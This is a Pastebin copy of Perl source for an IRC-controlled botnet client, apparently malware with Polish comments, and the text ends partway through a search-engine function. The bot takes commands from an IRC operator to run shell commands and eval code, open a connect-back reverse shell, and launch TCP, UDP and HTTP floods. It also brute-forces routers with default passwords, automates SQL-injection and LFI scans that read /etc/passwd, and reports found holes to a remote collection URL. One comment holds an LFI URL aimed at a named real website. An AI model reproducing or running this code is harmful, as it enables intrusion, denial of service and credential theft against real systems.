Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ### elxbot bot ++ipv6_attacker addin wich actually worx!
- ### Connectback fixd so is stealthier...
- ### Coded by whoknows but fixed by (xd)
- #!/usr/bin/perl
- use IO::Socket;
- srand;
- my %conf;
- my $save = "http://vte.malbo.pl/index.php";
- my @http_AU_Voo = ("admin:to_JEST_FEJK","admin:admin","admin:epicrouter","admin:12345","admin:1234","admin:password");
- my $clones_count = 8; # 4 / 8 / 16/ 32 / 64
- #open($pwnage_ban,'>>/tmp/banner_pwned.router'); $pwnage_ban->autoflush(1); ## autoflush
- #open($pwnage_has,'>>/tmp/hasla_pwned.router'); $pwnage_has->autoflush(1); ## autoflush
- my $p = 80;
- my @tabele=('admin','asociados','autores','USUARIOS','MIEMBROS','MIEMBRO');
- my @kolumny=('admin_name','sistema_password','autor','upassword','web_password','web_username');
- # fejk to fejk
- my @useragents = (
- "Microsoft Internet Explorer/4.0b1 (Windows 95)",
- "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
- "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
- "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
- "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
- "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
- "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
- "Mozilla/3.0 (OS/2; U)",
- "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
- "Mozilla/4.61 (Macintosh; I; PPC)",
- "Mozilla/4.61 [en] (OS/2; U)",
- "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
- "Mozilla/4.8 [en] (Windows NT 5.0; U)" );
- # Cos wymyslonego na przyszlosc
- #my $infect = "http://site.com/index.txt";
- #my $proxyport = "";
- #my $phpshell = "";
- ## To tyle ; p
- my %conf = (
- process => "V.T.E", admin_host => "[email protected]", admin_nick => "parada", server => "irc.ircnet.pl",
- chan => "#chades", key => "ave", port => "6667", ping_timeout => "300", hello_stat => "SSuup AvE", hello => "Powitalna wiadomoc",
- hello_eng => "One For Luck One For fuck", fnick => "abuse", fircname => "Vte", frealname => "Komisarz borewicz", sleep => "",
- );
- my %kolor = ( z => '\0039', b => '\0030', c => '\0034' );
- #$conf{'process'} = ("V.T.E");
- #$conf{'admin_host'} = ("[email protected]");
- #$conf{'admin_nick'} = ("Crips");
- #$conf{'server'} = ("irc.ircnet.pl");
- #$conf{'chan'} = ("#vte");
- #$conf{'key'} = ("ave");
- #$conf{'port'} = ("6667");
- #$conf{'ping_timeout'} = ("300");
- #$conf{'hello_start'} = ("aVe Abusers");
- #$conf{'hello'} = ("aVe");
- #$conf{'hello_eng'} = ("papatki");
- #$conf{'nicklen'} = ("7");
- #$conf{'fnick'} = ("abuse");
- #$conf{'fircname'} = ("Vte");
- #$conf{'frealname'} = ("Komisarz Borewicz");
- #$conf{'sleep'} = ("3");
- my @vuls = ('/etc/httpd/conf/httpd.conf','/usr/local/apache/conf/httpd.conf','/usr/local/etc/apache/httpd.conf',
- '/usr/local/etc/httpd/httpd.conf','/etc/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf',
- '/var/www/conf/httpd.conf','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/etc/httpd/logs/error_log',
- '/etc/httpd/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/access_ log',
- '/usr/local/apache/logs/access. log','/var/log/apache/access_log','/var/log/apache2/access_log',
- '/var/log/apache/access.log','/var/log/apache2/access.log','/var/log/access_log','/var/log/access.log',
- '/var/www/logs/error_log','/var/www/logs/error.log','/usr/local/apache/logs/error_log',
- '/usr/local/apache/logs/error.log','/var/log/apache/error_log','/var/log/apache2/error_log',
- '/var/log/apache/error.log','/var/log/apache2/error.log','/var/log/error_log','/var/log/error.log',
- '/usr/local/httpd/conf/httpd.conf','/proc/self/environ','/var/log/lighttpd/errors.log','/proc/self/status' );
- my @literki = ('a'..'z');
- my $seed=$literki[rand scalar @literki].$literki[rand scalar @literki].$literki[rand scalar @literki];
- open(LOCK, '>/tmp/sess_f3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
- unless(flock(LOCK, 4 | 2)) { die; }
- if(fork) { exit; }
- $0 = $conf{process};
- package irc;
- use IO::Select;
- our $irc_socket;
- our $irc_select = new IO::Select;
- my $cur_nick;
- sub raw {
- print $irc_socket "$_[0]\n";
- print("[Rav] $_[0]\n");
- }
- sub mnick {
- my $nick = $_[1];
- my @abc = ('a' .. 'z');
- for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
- return $nick;
- }
- sub init {
- my $socket = IO::Socket::INET->new(PeerAddr => $_[3],PeerPort => $_[4],Proto => 'tcp',Timeout => '5') or return 0;
- if(defined($socket)) {
- $irc_socket = $socket;
- $irc_select->add($irc_socket);
- $irc_socket->autoflush(1);
- raw("USER ".$_[1]." 0 0 ".$_[2]);
- $cur_nick = $_[0];
- raw("NICK $cur_nick");
- return 1;
- }
- return 0;
- }
- sub loop {
- my $time_out = time;
- for(;;) {
- my @handles = $irc_select->can_read(1);
- if((time - $time_out) > $conf{'ping_timeout'}) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
- next unless(@handles);
- foreach my $handle (@handles) {
- my $datain;$handle->recv($datain, 1023, 0);
- my @lines = split(/\r\n/, $datain);
- foreach my $line (@lines) {
- if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
- elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $conf{chan} $conf{key} "); irc::raw("PRIVMSG $conf{chan} : $conf{hello} "); next; }
- elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($conf{'nicklen'}, $conf{'fnick'}); raw("NICK ".$cur_nick); next; }
- # TO TU
- elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
- elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
- elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
- elsif ($line =~ m/xxx/) { irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); }
- if($response =~ m/:(.*)http:\/\/(.+?)[=](.+?)'/) { my $link = "http://".$2."="; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #WORK
- if($response =~ m/:(.*)http:\/\/(.+?)[=]'/) { my $link = "http://".$2."="; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #WORK
- if($response =~ m/:(.*)http:\/\/(.+?)[=](.+?)%00/) { my $link = "http://".$2."=".$3."%00"; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #---WORK
- if($response =~ m/:(.*)ftp:\/\/(.+?)\//) { my $link = "ftp://".$2."/"; irc::raw("PRIVMSG $conf{'chan'} :\002[xxx]\002 oj "); } #---WORK
- # chyba ;D
- run::bcmd("$line");
- }
- }
- }
- }
- package run;
- use Socket;
- use Switch;
- sub bcmd {
- my @line = split(/ /, $_[0]);
- my $RawMask = shift(@line);
- $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
- unless($Nick eq $conf{admin_nick} ) { return; }
- my $Type = shift(@line);
- unless($Type eq "PRIVMSG") { return; }
- my $To = shift(@line);
- $" = ' '; $line[0] =~ s/://;my $Text = "@line";
- if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
- if($2 =~ /^nick\s*(.*)/) {
- if($1) { $cur_nick = $1; }
- else { $cur_nick = irc::mnick($conf{'nicklen'}, $conf{'fnick'}); }
- irc::raw("NICK $cur_nick");
- return;
- }
- if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
- return;
- }
- if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
- if(!fork) {
- if ($2 =~ /^join (.*)/) { j("$1"); }
- if ($2 =~ /^part (.*)/) { p("$1"); }
- if ($2 =~ /^op (.*)/) { uflag($To,'+o',$1); }
- if ($2 =~ /^deop (.*)/) { uflag($To,'-o',$1); }
- if ($2 =~ /^halfop (.*)/) { uflag($To,'+h',$1); }
- if ($2 =~ /^dehalfop (.*)/) { uflag($To,'-h',$1); }
- if ($2 =~ /^voice (.*)/) { uflag($To,'+v',$1); }
- if ($2 =~ /^devoice (.*)/) { uflag($To,'-v',$1); }
- if ($2 =~ /^m/) { chf($To,'+m'); }
- if ($2 =~ /^um/) { chf($To,'-m'); }
- if ($2 =~ /^u/) { chf($To,'+u'); }
- if ($2 =~ /^uu/) { chf($To,'-u'); }
- if ($2 =~ /^i/) { chf($To,'+i'); }
- if ($2 =~ /^ui/) { chf($To,'-i'); }
- if ($2 =~ /^us/) { chf($To,'-s'); }
- if ($2 =~ /^raw (.*)/) { irc::raw("$1"); }
- # Edit here
- if ($2 =~ /^sqlbrut\s+(.*)\s+(\d+)/) {
- spread::sqlbrute($To,$1,$2);
- }
- if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; } # Eval
- if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
- if ($2 =~ /^lfis\s+(.*?)\s+(.*)/) { spread::lfi($To, $1, $2); exit; }
- if ($2 =~ /^autolfi\s+(.*?)\s+(.*)/) { spread::getstore($1,$2); spread::podajlfi($2); exit; }
- if ($2 =~ /^brulfi/) {
- my $url = "/index.php?";
- for ($seed = "a", $c=0; $c<666666; $c++, $seed++){
- $bug = $url.$seed."="; $dork = "inurl:".$url.$seed."=";
- spread::lfi($To, $bug, $dork); } exit; }
- if ($2 =~ /^randlfi/) {
- my $url = "/index.php?";
- $bug = $url.$seed."="; $dork = "inurl:".$url.$seed."=";
- spread::lfi($To, $bug, $dork); exit; }
- if ($2 =~ /^router\s+(.*?)\s+(.*)/) { spread::new_range($1,$2); exit; }
- if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
- if ($2 =~ /^ipv6flood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp6($To, $1, $2, $3); exit; }
- if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
- if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
- if ($2 =~ /^help/) {
- irc::raw("PRIVMSG $To :\002[Irc]\002 !join, !part, !op, !deop, !halfop, !degalfop. !voice, !devoice ");
- irc::raw("PRIVMSG $To :\002[Irc]\002 !m, !um, !u, !uu, !i, !ui. !s, !us, !raw, .nick, ");
- irc::raw("PRIVMSG $To :\002[Scan]\002 !router,");
- irc::raw("PRIVMSG $To :\002[Lfis]\002 !lfis, !brulfi, !autolfi, !randlfi");
- irc::raw("PRIVMSG $To :\002[Abuse]\002 !tcpflood, !ipv6flood, !udpflood, !httpflood, !eval, !rsh,");
- }
- exit;
- }
- return;
- }
- if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
- if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
- }
- sub bsh {
- my $to = $_[0];
- my $cmd = $_[1];
- if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
- my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
- foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $conf{sleep} ; } }
- }
- sub j { &join(@_); }
- sub join {
- return unless $#_ == 0;
- irc::raw("JOIN $_[0]");
- }
- sub p { part(@_); }
- sub part {
- irc::raw("PART $_[0]");
- }
- sub uflag {
- my $operator;
- my $operation;
- switch($_[1]) {
- case '+o' { $operator='+o'; $operation='op'; }
- case '-o' { $operator='-o'; $operation='deop'; }
- case '+h' { $operator='+h'; $operation='halfop'; }
- case '-h' { $operator='-h'; $operation='dehalfop'; }
- case '+v' { $operator='+v'; $operation='voice'; }
- case '-v' { $operator='-v'; $operation='devoice'; }
- default : { $operator='+o'; $operation='op'; }
- }
- irc::raw("MODE $_[0] $operator $_[2] ");
- }
- #chf
- sub chf {
- my $operator;
- my $operation;
- switch($_[1]) {
- case '+m' { $operator='+m'; $operation='mute'; }
- case '-m' { $operator='-m'; $operation='umute'; }
- case '+u' { $operator='+u'; $operation='hide'; }
- case '-u' { $operator='-u'; $operation='unhide'; }
- case '+i' { $operator='+i'; $operation='invite'; }
- case '-i' { $operator='-i'; $operation='unvite'; }
- case '+s' { $operator='+s'; $operation='seectreet'; }
- case '-s' { $operator='-s'; $operation='unsercreet'; }
- default : { $operator='+s'; $operation='+s'; }
- }
- irc::raw("MODE $_[0] $operator ");
- }
- sub rsh {
- irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
- socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
- connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
- open(STDIN, ">&SOCKET");
- open(STDOUT, ">&SOCKET");
- open(STDERR, ">&SOCKET");
- print "[!!] Connectback backdoor\n";
- system('/bin/sh -i'); ## Had to fix this (xd)
- close(STDIN);
- close(STDOUT);
- close(STDERR);
- }
- package spread;
- use HTTP::Request; use LWP::UserAgent;
- use LWP::Simple;
- sub sqlbrute() {
- my $To=$_[0];
- my $site=$_[1];
- my $columns=$_[2];
- #irc::raw("PRIVMSG $_[0] :\002[Test]\002 0 $_[0] 1 $_[1] 2 $_[2] ");
- my $cfin.="--";
- my $cmn.= "+";
- for ($column = 0 ; $column < $columns ; $column ++) {
- $union.=','.$column;
- $inyection.=','."0x6c6f67696e70776e7a";
- if ($column == 0)
- {
- $inyection = '';
- $union = '';
- }
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
- print("$sql \r\n");
- $response=get($sql) or print("[SQL]"," Failed to try to find the number of columns, check website\n");
- if($response =~ /loginpwnz/)
- {
- $column ++;
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
- #msg("[SQL]"," $sql");
- irc::raw("PRIVMSG $To :\002[Sql]\002 $sql ");
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
- $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
- if($response =~ /loginpwnz/) {
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
- irc::raw("PRIVMSG $To :\002[Sql]\002 INFORMATION_SCHEMA: $sql ");
- }
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
- $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
- #msg("[SQL]","MYSQL_USER: $sql");
- irc::raw("PRIVMSG $To :\002[Sql]\002 Mysql User $sql ");
- }
- else
- {
- print "\n[-] MySQL.User unavailable";
- }
- while ($loadcont < $column-1)
- {
- $loadfile.=','.'load_file(0x2f6574632f706173737764)';
- $loadcont++;
- }
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
- $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
- if($response =~ /root:x:/)
- {
- #msg("[SQL]","LOAD_FILE: $sql");
- irc::raw("PRIVMSG $To :\002[Sql]\002 Load_File $sql ");
- }
- else
- {
- print "\n[-] LOAD_FILE unavailable";
- }
- foreach $tabla(@tabele)
- {
- chomp($tabla);
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
- print("$sql \r\n");
- $response=get($sql)or die("[-] Impossible to get tables\n");
- if($response =~ /loginpwnz/)
- {
- print "\n[+] Table $tabla exists...saving in $ARGV[2]";
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
- #msg("[SQL]"," $sql");
- irc::raw("PRIVMSG $To :\002[Sql]\002 $sql ");
- &tabelka($site,$tabla);
- }
- }
- # exit (0);
- }
- }
- }
- sub tabelka() {
- my $site=$_[0];
- my $tabla=$_[1];
- my $cfin.="--";
- my $cmn.= "+";
- chomp($tabla);
- print WEB "\n\n[COLUMNS IN TABLE $tabla]:\n\n";
- foreach $columna(@kolumny)
- {
- chomp($columna);
- $sql=$site."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
- $response=get($sql)or die("[-] Impossible to get columns\n");
- if ($response =~ /loginpwnz/)
- {
- #msg("[SQL]"," Column : $sql");
- irc::raw("PRIVMSG $To :\002[Sql]\002 Column $sql ");
- }
- }
- }
- sub passwd()
- {
- my $ip = "http://".$_[0]."/";
- #&msg("[DEBUG] => $ip ");
- ## Zakomentuje te suchary
- #my @login = ("admin");
- #my @passwd = ("admin", "123", "admin123", "12345", "epicrouter", "tech", "password", "setup", "admin666");
- foreach my $cred(@http_AU_Voo)
- {
- my $ua = LWP::UserAgent->new;
- my $req = HTTP::Request->new(GET => $ip);
- my ($user,$pass)=split(/:/,$cred);
- print("test User: ".$user." pass: ".$pass);
- # &msg("[DEBUG] => $user => $pass ");
- $req->authorization_basic($user,$pass);
- # $req->authorization_basic('admin','admin');
- my $te = $ua->request($req)->as_string;
- ## wyjac header i sprawdzic
- # &msg("[DEBUG] => Content is $te") if($debug);
- ### to poprawic
- if($te =~ /HTTP\/1.1 200 OK/)
- {
- if($pass =~ /to_JEST_FEJK/) { exit; }
- # &msg($z."[Router] ".$cz."=> $ip ".$z."[Login]".$cz." => $user ".$z."[Pass]".$cz." => $pass");
- irc::raw("PRIVMSG $conf{chan} : \0039[Router]\0030 => $ip \0039 [Login] \0030 => $user \0039 [Password]\0030 => $pass");
- #print $pwnage_has "$ip:$user:$pass \n";
- return;
- }
- }
- }
- sub router_attack() {
- my $target=shift;
- if ($sox = IO::Socket::INET->new(PeerAddr=>$target,PeerPort=>$p,Proto=>'tcp',Timeout=>'1'))
- {
- ## tu juz kolnkretna funkcja do napierdalania czegos
- my $cos = "http://".$target."/";
- my $strona = &query($cos);
- if($strona =~ /<title>(.*)<\/title>/i)
- {
- #&msg("[Banner] => $1 On Ip $cos ");
- # &msg($z."[Banner]".$cz." => $1 ".$z." [IP]".$cz." => ".$czer." $cos ".$cz);
- #irc::raw("PRIVMSG $conf{chan} : \0039[Router]\0030 =>\0039 [Banner] \0030 $1 => $cos ");
- # print $pwnage_ban "$1 => $cos \n";
- sleep(5);
- }
- if($strona=~/401|unauthorized|Authentication|Protected Object/i)
- {
- # &msg('[DEBUG] => Odkrylem 401 ... napierdalaaamy $target !');
- &passwd($target);
- }
- else
- {
- # &msg('[DEBUG]','Kurwa, cos nie tak z soketem, moj Wladco Karaluchow ;D');
- }
- close $sox;
- } ### koniec dla sprawdzenia, czy sok sie odpalil
- }
- sub new_range()
- {
- if(scalar(@credentials)==0)
- {
- }
- my $start = shift;
- my $startend = shift;
- # &msg($z."[Routers]".$cz." => ".$z."[From]".$cz." => $start ".$z."[Too]".$cz." => $startend ");
- irc::raw("PRIVMSG $conf{chan} : \0039[Router]\0030 =>\0039 [Ip-Start] \0030 => $start \0039 [Ip-End]\0030 => $startend");
- my $p = 80;
- my @ip_start=split(/\./,$start);
- my @ip_end=split(/\./,$startend);
- my $i;
- my $j;
- my $k;
- my $l;
- my $pools=0;
- my $child_count=0;
- my $level_3_diff;
- for($i=$ip_start[0];$i<=$ip_end[0];$i++)
- {
- for($j=$ip_start[1];$j<=$ip_end[1];$j++)
- {
- $level_3_diff=$ip_end[2]-$ip_start[2]+1; ## to sie przyda w potomnych do okreslania, na ile podzielic zakres
- # &msg('[DEBUG]',"ilosc forkow nadrzednych: $level_3_diff");
- my $pid;
- for($k=$ip_start[2];$k<=$ip_end[2];$k++)
- {
- $pid=fork;
- if($pid)
- {
- # &msg('[DEBUG]',"Odpalono klona nadrzednego [$pid] na zakres $i.$j.$k.*");
- next;
- }
- ## ostatnia iteracja, czas dokonac podzialu
- ## to jest przekombinowane, lepiej zrobic tak, zeby limit procesow dotyczyl tylko dolnego zakresu
- ## i byl zasze potega dwojki, tak robie
- my $pool_width=256/$clones_count;
- ### tutaj sie robia nasze podklony ;]
- for($pools=0;$pools<256;$pools+=$pool_width) ## proste: 0-64, 65-128, 129-192, 193-256
- {
- my $last_pid=fork;
- if($last_pid)
- {
- ## jesli sklonowano (trzeba bedzie jeszcze exity zrobic)
- sleep(3); ## unikajmy flooda, moze trzeba bedzie zwiekszyc sleep, ograniczyc wyjscie
- ## latanie dziury
- ### 100, 100, 54, np. 200+100=300>254, zatem zamiast 100 dodajemy 53
- next;
- }
- else
- {
- ## oto potomny, ma juz swoj zakres
- my $start_addr=$pools; ## start: 0, stop: 63, start: 64-stop 127 itd.
- my $stop_addr=$pools+$pool_width-1;
- ## tutaj for dla konca zakresu (adres hosta) i funkcja abusujaca
- for($l=$start_addr;$l<$stop_addr;$l++) ## mala zmiana
- {
- my $tmp_ip="$i.$j.$k.$l";
- # &msg('[DEBUG]',"Atak na zakres $start_addr - $stop_addr");
- &router_attack($tmp_ip);
- } ## koniec fora dla adresow w danym klonie
- # &msg('[DEBUG]',"Child $$ konczy prace.") if($debug);
- exit; ## wyjscie childa
- }
- } ## koniec fora dla pulsa (lewel 4)
- exit;
- } ### koniec fora dla lewelu 3
- ## to juz jest kod w glownym forku
- } ## koniec fora drugiej czesci adresu (sztywne)
- } ## koniec fora pierwszej czesci adresu (sztywne), zakladamy, ze sa niepotrzebne, i tak wykonuja sie raz
- } # koniec metody
- sub getstore ($$) {
- my $url = $_[0];
- my $file = $_[1];
- $http_stream_out = 1;
- open(GET_OUTFILE, "> $file");
- %http_loop_check = ();
- _get($url);
- close GET_OUTFILE;
- return $main::http_get_result;
- }
- sub _get {
- my $url = shift;
- my $proxy = "";
- grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
- if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
- my $host = $1;
- my $port = $2 || 80;
- my $path = $3;
- $path = "/" unless defined($path);
- return _trivial_http_get($host, $port, $path);
- } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
- my $host = $1;
- my $port = $2;
- my $path = $url;
- return _trivial_http_get($host, $port, $path);
- } else {
- return undef;
- }
- }
- sub _trivial_http_get {
- my($host, $port, $path) = @_;
- my($AGENT, $VERSION, $p);
- $AGENT = "get-minimal";
- $VERSION = "20000118";
- $path =~ s/ /%20/g;
- require IO::Socket;
- local($^W) = 0;
- my $sock = IO::Socket::INET->new(PeerAddr => $host,
- PeerPort => $port,
- Proto => 'tcp',
- Timeout => 60) || return;
- $sock->autoflush;
- my $netloc = $host;
- $netloc .= ":$port" if $port != 80;
- my $request = "GET $path HTTP/1.0\015\012"
- . "Host: $netloc\015\012"
- . "User-Agent: $AGENT/$VERSION/u\015\012";
- $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
- $request .= "\015\012";
- print $sock $request;
- my $buf = "";
- my $n;
- my $b1 = "";
- while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
- if ($b1 eq "") { # first block?
- $b1 = $buf; # Save this for errorcode parsinghttp://www.opticgaming.net//index.php?option=com_s5clanroster&controller=./../../../../../../../../../../../../../../etc/passwd%00
- $buf =~ s/.+?\015?\012\015?\012//s; # zap header
- }
- if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
- }
- return undef unless defined($n);
- $main::http_get_result = 200;
- if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
- $main::http_get_result = $1;
- # print "CODE=$main::http_get_result\n$b1\n";
- if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
- ) {
- # redirect
- my $url = $1;
- return undef if $http_loop_check{$url}++;
- return _get($url);
- }
- return undef unless $main::http_get_result =~ /^2/;
- }
- return $buf;
- }
- sub podajlfi() {
- my $czaj = $_[0];
- open(FILE, $czaj);
- print("open $czaj \r\n");
- while(<FILE>) {
- my $jo=$_;
- chomp $jo;
- $jo=~s/\r//;
- $jo =~ s/!scan(\s+)//g;
- $jo =~ s/!scan(.)//g;
- $jo =~ s/!ijo(.)//g;
- $jo =~ s/!ijoscan(.)//g;
- if($jo=~ /(.*?[=])\s+(.*)/g){
- my $bug = $1;
- my $dork = $2;
- #msg("[Lfi-Autoscan]","teeest this is bug $bug and dork $dork");
- &lfi("nic",$bug,$dork);
- }
- #sleep 1*60; # need ?
- }
- close(FILE);
- `rm -rf $fil`;
- }
- sub lfi() {
- my ($bug, $dork, $wiad) = ($_[1], $_[2], "[Lfi-Scan]");
- my $file = "/tmp/lfi".int(rand(900)).".txt";
- irc::raw("PRIVMSG $conf{chan} : \0039[Lfi]\0030 =>\0039 [Bug] \0030 => $bug \0039 [Dork]\0030 => $dork");
- my $d0rk = $dork;
- find($d0rk,$file); lfis($bug, $file, $d0rk);
- irc::raw("PRIVMSG $conf{chan} : \0039[Lfi]\0030 =>\0039 [Bug] \0030 => $bug \0039 [Dork]\0030 => $dork \0034 END");
- }
- sub lfis () {
- my $bug = $_[0] ;
- my $name = $_[1];
- my $dork = $_[2];
- my @forks;
- my $num = 0;
- @tot=();
- open( filez, '<', $name );
- while ( my $a = <filez> ) {
- $a =~ s/\n//g;
- push( @tot, $a );
- }
- close filez;
- `rm -rf $name`;
- my @toexploit = unici(@tot);
- irc::raw("PRIVMSG $conf{chan} : Lfi Vuln ". scalar(@toexploit)."s ");
- foreach my $site (@toexploit) {
- $count++;
- if ( $count % 100 == 0 ) {
- foreach my $f(@forks){
- waitpid($f,0);
- }
- $num = 0;
- }
- $forks[$num]=fork();
- if($forks[$num] == 0){
- my $test = "http://" . $site . $bug . "./../../../../../../../../../../../etc/passwd%00";
- my $ola = "http://" . $site . $bug . "./../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
- my $re = &query($test);
- if ( $re =~ /root:x:/ ) {
- &dodaj("lfi",$test);
- irc::raw("PRIVMSG $conf{chan} : \0039[Lfi-Vuln] \0030 => $test ");
- my $ol = &query($ola);
- if ( $ol =~ /HTTP_USER_AGENT/ ) {
- irc::raw("PRIVMSG $conf{chan} : \0039[Lfi-Vuln] \0034 {envirion} \0030 => $test ");
- }}
- exit(0);
- }
- $num++;
- }
- foreach my $f(@forks){
- waitpid($f,0);
- }
- }
- use MIME::Base64;
- sub dodaj() {
- my $co = $_[0];
- my $link = $_[1];
- my $links = encode_base64($link);
- if($co eq "sql") { irc::raw("PRIVMSG $conf{chan} : sql bug => $link SAVE => $save"); my $safet = $save."?bug=sqlbug&vuln=".$links; &query($safet); }
- elsif ($co eq "lfi") { my $safet = $save."?bug=lfibug&vuln=".$links; &query($safet); }
- elsif ($co eq "ftp") { irc::raw("PRIVMSG $conf{chan} :ftp bug => $link SAVE => $save "); my $safet = $save."?bug=defftp&vuln=".$links; &query($safet); }
- elsif ($co eq "inne") { irc::raw("PRIVMSG $conf{chan} : [Lfi-Vuln] $test "); my $safet = $save."?bug=inne&vuln=".$links; &query($safet); }
- }
- sub find() {
- my $dork = $_[0];
- my $name = $_[1];
- my @engine;
- $engine[0] = fork();
- if ($engine[0] == 0) { my @msn = spread::msn($dork,$name); irc::raw("PRIVMSG $conf{chan} : Msn ".scalar(@msn).". "); exit(0); }
- $engine[1] = fork();
- if ($engine[1] == 0) { my @google = spread::google($dork,$name); irc::raw("PRIVMSG $conf{chan} : google ".scalar(@google).". "); exit(0); }
- $engine[2] = fork();
- if ($engine[2] == 0) { my @virgilio = spread::virgilio($dork,$name); irc::raw("PRIVMSG $conf{chan} : virgilio ".scalar(@virgilio).". "); exit(0); }
- $engine[3] = fork();
- if ($engine[3] == 0) { my @altavista = spread::altavista($dork,$name); irc::raw("PRIVMSG $conf{chan} : altavista ".scalar(@altavista).". "); exit(0); }
- $engine[4] = fork();
- if ($engine[4] == 0) { my @ask = spread::ask($dork,$name); irc::raw("PRIVMSG $conf{chan} : ask ".scalar(@ask).". "); exit(0); }
- $engine[5] = fork();
- if ($engine[5] == 0) { my @webde = spread::webde($dork,$name); irc::raw("PRIVMSG $conf{chan} : webde ".scalar(@webde).". "); exit(0); }
- $engine[6] = fork();
- if ($engine[6] == 0) { my @uol = spread::uol($dork,$name); irc::raw("PRIVMSG $conf{chan} : uol ".scalar(@uol).". "); exit(0); }
- $engine[7] = fork();
- if ($engine[7] == 0) { my @onet = spread::onet($dork,$name); irc::raw("PRIVMSG $conf{chan} : onet ".scalar(@onet).". "); exit(0); }
- $engine[8] = fork();
- if ($engine[8] == 0) { my @szuk = spread::szukacz($dork,$name); irc::raw("PRIVMSG $conf{chan} : szukacz ".scalar(@szukacz).". "); exit(0); }
- $engine[9] = fork();
- if ($engine[9] == 0) { my @int = spread::interia($dork,$name); irc::raw("PRIVMSG $conf{chan} : interia ".scalar(@int).". "); exit(0); }
- foreach my $e(@engine){
- waitpid($e,0);
- }
- }
- sub altavista() {
- my $dork = $_[0];
